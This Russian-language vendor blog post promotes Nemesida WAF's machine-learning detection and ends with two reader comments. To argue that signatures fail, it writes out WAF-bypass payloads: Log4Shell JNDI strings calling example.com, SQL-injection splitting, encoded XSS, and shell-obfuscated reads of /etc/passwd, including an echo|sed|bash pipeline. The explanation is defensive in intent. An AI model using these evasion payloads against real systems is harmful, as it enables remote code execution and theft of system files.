Мы регулярно слышим о том, что один сайт недоступен из-за DDoS-атак, а другой взломали и опубликовали непристойности на его страницах или слили/затерли данные. Один из самых популярных способов защиты веб-приложений - использовать WAF. Для выявления атак Nemesida WAF использует ML в виде модуля машинного обучения, но нам часто не верят, утверждая, что это лишь маркетинг. Что ж, давайте разбираться.
Поясняем за ML в Nemesida WAF
Для чего нам вообще нужен модуль машинного обучения Nemesida AI? Все очень просто - сигнатурный анализ работает быстро и понятно, но не точно.
Сигнатуры построены по принципу вхождения определенной последовательности символов в запрос. Чем точнее написан шаблон для анализа, тем выше вероятность отразить атаку. Однако, атакующий может обойти правило. Попытаетесь закрыть лазейку - обойдут и ее, и так по кругу. Из актуального - в CVE-2021-44228 представлен пример таких байпасов.
${jndi:dns://example.com/...}
${jndi:rmi://example.com/...}
${jndi:ldap://example.com/Basic/Command/Base64/...}
${jndi:${lower:l}${lower:d}a${lower:p}://ex${upper:a}mple.com/...}
${${::-j}${::-n}${::-d}${::-i}${::-r}${::-m}${::-i}://example.com/...}
$\{$\{::-j\}$\{::-n\}$\{::-d\}$\{::-i\}:$\{::-r\}$\{::-m\}$\{::-i\}://$\{env:USER\}.example.com/...}
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//example.com/...}
Первые 3 строки - пример эксплуатации уязвимости из-за некорректной работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных, данные могут загружаться атакующим буквально откуда угодно. Последний вариант, кстати, передает данные в Base64.
Последние 4 строчки - варанты байпасов для обхода WAF. Полезные нагрузки составлены на основе документации по Apache Log4j и включают в себя:
{lower:} и {upper:} - преобразование символов в верхний/нижний регистр;
{env:ENV_NAME:-} - использование переменной среды;
{::-} - подставновку строк.
Но вернемся к модулю машинного обучения Nemesida AI. Машинное обучение, в отличие от сигнатур, работает точно, но медленнее. Точность выявления атак, по сравнению с сигнатурами, увеличивается примерно на 30%. Модуль выявляет не вхождение определенного паттерна, а признаки атаки, как если бы живой человек анализировал запросы. По совокупности признаков принимается решение о блокировке. Но высокая точность увеличивает потребление ресурсов сервера.
Компромисом в этом вопросе стал комбинированный анализ, используя который, запросы с явными признаками атаки отсекаются сигнатурами, а неявными - поступают на анализ в модуль машинного обучения Nemesida AI.
В редких случаях возникновения ложных срабатываний их всегда можно экспортировать, после чего схожие запросы не будут блокироваться и войдут в обучающую выборку модуля машинного обучения.
Cколько байпасами не корми — все равно на сигнатуры смотрят
Способов обхода сигнатурного анализа можно придумать много — от банального расщепления нагрузки вроде un","ion se","lect или злоупотреблением функционала некоторых WAF, которые удаляют из запроса потенциально небезопасные конструкции, например, uniUNIONon, но не блокируют сам запрос, и до использования различных кодировок и манипуляций. Ключевые слова можно и не расщеплять, но убрать пробелы между ними:
union+/*!select*/(1),2,3...
union(select(1),2,3...
На кодировках основаны многие способы обхода WAF. Например, последовательность alert() можно частично или полностью передать в:
UTF-8
\x61\x6c\x65\x72\x74\x28\x29
UTF-16
\u0061\u006c\u0065\u0072\u0074\u0028\u0029
или UTF-32
u+00000061u+0000006cu+00000065u+00000072u+00000074u+00000028u+00000029
Есть еще HTTP Entity Encode, Base64, UTF-8 Halfwidth and Fullwidth Forms, множественные URL Encode и т. д.
Можно попробовать составлять сигнатуры, но, скорее всего, они просто увеличат количество ложных срабатываний или пропусков атак.
Другой пример - не используя кодировку запроса, а только особенность обработки данных Bash-интерпретатором (при наличии OS Command Injection), мы можем прочитать содержимое файла, например, /etc/passwd, выполнив расщепление данных с помощью кавычки:
ca't /et'c'/pas's'wd
или символа ?, который будет преобразован до нужной буквы (/bin/cat /etc/passwd):
/bi?/ca? /et?/pa??wd
/???/??t /???/pa??wd
Даже используя неинициализированную переменную можно расщипить последовательность /etc/passwd и обойти фильтрацию сигнатурами, где $u будет пустой строкой:
cat$u /etc$u/passwd$u
Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку.
ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash
Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в Bash и выполняется на сервере, возвращая результат пользователю. Для WAF такой запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур.
Перекрыть эти и им подобные техники без увеличения ложных срабатываний сигнатурным методом практически невозможно, но модуль машинного обучения вкупе с различными механизмами нормализации выявляет очень точно и эти, и многие другие методы обхода.
Боты... безжалостные и беспощадные
Боты - с ними сталкиваются все владельцы публичных веб-приложений.
Какую опасность представляют боты:
истощают ресурсы сервера избытком запросов (DoS, DDoS);
могут использоваться для сокрытия другой атаки;
сливают бюджет за счет злоупотребления функционалом авторизации или восстановления пароля по СМС;
используются для поулчения доступа к аккаунтам пользователей (Account Takeover);
Вынуждают сотрудников сервисов вручную выполнять определенные действия, которые неввозможно автоматизировать. Например, обработка повышенного количества заявок интернет-магазина и т.д.
Для блокирования подобных атак в Nemesida WAF используется 3 механизма:
выявление попыток перебора значений (подбор логина/пароля и т.д.);
выявление попыток злоупотребления СМС-функционалом;
выявление DDoS Layer 7
Иногда возникают ситуации, когда WAF еще не определил достаточное количество признаков атаки для блокировки, а действовать нужно "здесь и сейчас". Администратор/ИБ-специалист может помочь ему - самостоятельно выявить признаки атаки и составить правило блокировки. Рассмотрим примеры.
Блокируем обращения из определенной страны
На одно из защищаемых веб-приложений совершается DDoS-атака. Модулю Nemesida AI нужно некоторое время, чтобы определить признаки атаки и заблокировать их источник(и).
Но мы понимаем, что IP-адреса из Бразилии вряд ли будут обращаться к этому домену, наверняка это атака. Переходим в облачный сервис управления настройками Nemesida WAF и за пару кликов составляем правило блокировки всех запросов из Бразилии (BR) для домена shop.example.com:
Блокируем запросы для всех стран, кроме выбранных
Мы знаем, что к веб-приложению обычно обращаются, например, из России и США. Наблюдая за однотипными запросами из других стран, понимаем, что, скорее всего, это DDoS-атака. Поэтому создаем правило для блокировки всех запросов, которые поступают из стран, отличных от России и США:
Блокируем запросы с подозрительным User-Agent
Сайт shop.example.com международный и к нему могут обращаться пользователи из разных стран. Но в списке заблокированных запросов подмечаем один из признаков DDoS-атаки - подозрительный User-Agent curl/7.68.0:
Создаем еще одно правило, которое будет блокировать все запросы с curl/7.68.0 в User-Agent.
Выявление атак с помощью ботов может быть затруднено из-за отсутствия явных признаков атаки, в отличие от компрометационных атак (SQLi, XSS, RCE и т.д.). Временное ограничение по странам не всегда поможет, ровно как и попытки заблокировать по полю User-Agent или другим признакам — после нескольких блокировок ботнет может направить запросы с новых IP и с новыми полями. Для решения этой проблемы в Nemesida WAF мы используем набор признаков, влияющих на принятие решения о блокировании: репутационную GeoIP-базу, наличие адреса в списках прокси-серверов (VPN/Tor/etc) или хостинг-площадок и поведенческий анализ.
Машинное обучение или сигнатурный анализ?
Основные преимущества и недостатки каждого подхода можно сравнить в табилце:
Сигнатурный анализ |
Машинное обучение |
Преимущества: 1. Скорость обработки запроса выше. Недостатки: 1. Количество ложных срабатываний выше; |
Преимущества: 1. Выявляет атаки более точно; Недостатки: 1. Требует дополнительных аппаратных ресурсов. |
Веб-интерфейс
Никто не любит отслеживать атаки, просматривая тысячи и тысячи строчек журналов веб-сервера. В Nemesida WAF можно установить Личный кабинет, который будет собирать информацию об атаках и отображать их в понятном виде, а при желании можно интегрировать с SIEM-системами. Здесь и информация об атаках, и графики интенсивности атак по типам, и статистика по IP, и т.д. Хотите всегда быть в курсе событий - активируйте уведомления на почту.
Круто, где скачать?
Все модули Nemesida WAF представлены в виде установочных дистрибутивов для Ubuntu/Debian/CentOS и разворачиваются в инфраструктуре клиента (on-premises software). Анализ запросов и обучение поведенческих моделей происходит также в инфраструктуре клиента, не передавая трафик за периметр. Протестируйте Nemesida WAF бесплатно в течение 2-х недель и узнайте, как часто вас атакуют. Ссылка на Nemesida WAF: nemesida-waf.ru
Вы все еще на сигнатурах? Тогда мы идем к вам
Оценить качество защищенности веб-приложения может каждый. На Github мы опубликовали собственный инструмент waf-bypass, с помощью которого можно оценить используемый в данный момент WAF. Этот бесплатный инструмент содержит почти 1500 полезных нагрузок для SQLi, XSS, SSTI, RCE, LFI/RFI и т.д.
FanatPHP
Когда я читаю про
"тридцать пять тысяч одних курьеров!""точность выявления атак до 99.98%", то сразу вспоминаю популярные антивирусы, которые после сканирования, утирая пот со лба, бодро рапортуют, "найдено и обезврежено 100500 угроз!". Из которых 99.98% — это куки веб-трекеров...pentestit-team
И пылесос с ИИ, который лучше сосет. Как и написали, готовы показывать эти цифры на боевом трафике.